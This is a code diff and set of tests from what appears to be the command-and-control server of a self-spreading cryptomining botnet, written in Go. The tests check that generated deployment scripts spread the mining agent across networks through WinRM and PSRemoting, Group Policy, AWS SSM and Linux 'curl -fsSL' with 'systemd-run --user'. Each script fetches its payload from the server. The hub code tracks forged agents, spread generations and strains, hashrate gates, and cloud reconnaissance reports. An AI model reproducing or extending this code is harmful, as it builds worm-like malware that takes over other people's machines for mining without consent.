if plan.JoinLane != "winrm" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
if !strings.Contains(plan.SSMDocument, "schemaVersion") {
t.Fatalf("doc=%s", plan.SSMDocument)
for _, marker := range []string{
"http://127.0.0.1:8989/get?os=windows",
"--spread-install",
"--defer-mining",
"Enable-PSRemoting",
} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
func TestDeployPlanGPOLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "gpo" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
t.Fatalf("script missing query suffix: %s", plan.Script)
}
}
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
_ = os.MkdirAll(buildDir, 0o755)
if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, projectRoot,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },

View File

@@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
in.FargateBurstActive = hub.fargateBurstActive()
return in
}

View File

@@ -1,4 +1,4 @@
package api
package api
import (
"crypto/subtle"
@@ -179,12 +179,6 @@ type WSHub struct {
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
policySnapshotToken string
policyEventBridgeRelayURL string
policyPublicBaseURL func() string
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -208,10 +202,6 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
cloudVenueMu sync.Mutex
cloudVenues *fleetai.CloudVenueRegistry
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
@@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
@@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps,
}
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
})
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
@@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
resp["triple_onion_policy"] = top
spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" {
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 {
@@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
if policy.AwsS3ShardRegion != "" {
spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
}
if policy.AwsCloudFrontDomain != "" {
spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
}
}
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy {
spreadPolicy[k] = v
}
}
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
for k, v := range cloudPolicy {
spreadPolicy[k] = v
}
}
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
for k, v := range fanout {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
@@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
case "cloud_venue_report":
if agentID == "" {
continue
}
var report struct {
CloudProvider string `json:"cloud_provider"`
Environment string `json:"environment"`
Workload string `json:"workload"`
InstanceType string `json:"instance_type"`
InstanceLifecycle string `json:"instance_lifecycle"`
OrganizationalUnit string `json:"organizational_unit"`
EC2Tags map[string]string `json:"ec2_tags"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if strings.TrimSpace(report.CloudProvider) == "" {
report.CloudProvider = "aws"
}
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
Environment: report.Environment,
Workload: report.Workload,
InstanceType: report.InstanceType,
InstanceLifecycle: report.InstanceLifecycle,
OrganizationalUnit: report.OrganizationalUnit,
EC2Tags: report.EC2Tags,
})
case "ai_snapshot":
if agentID == "" {
continue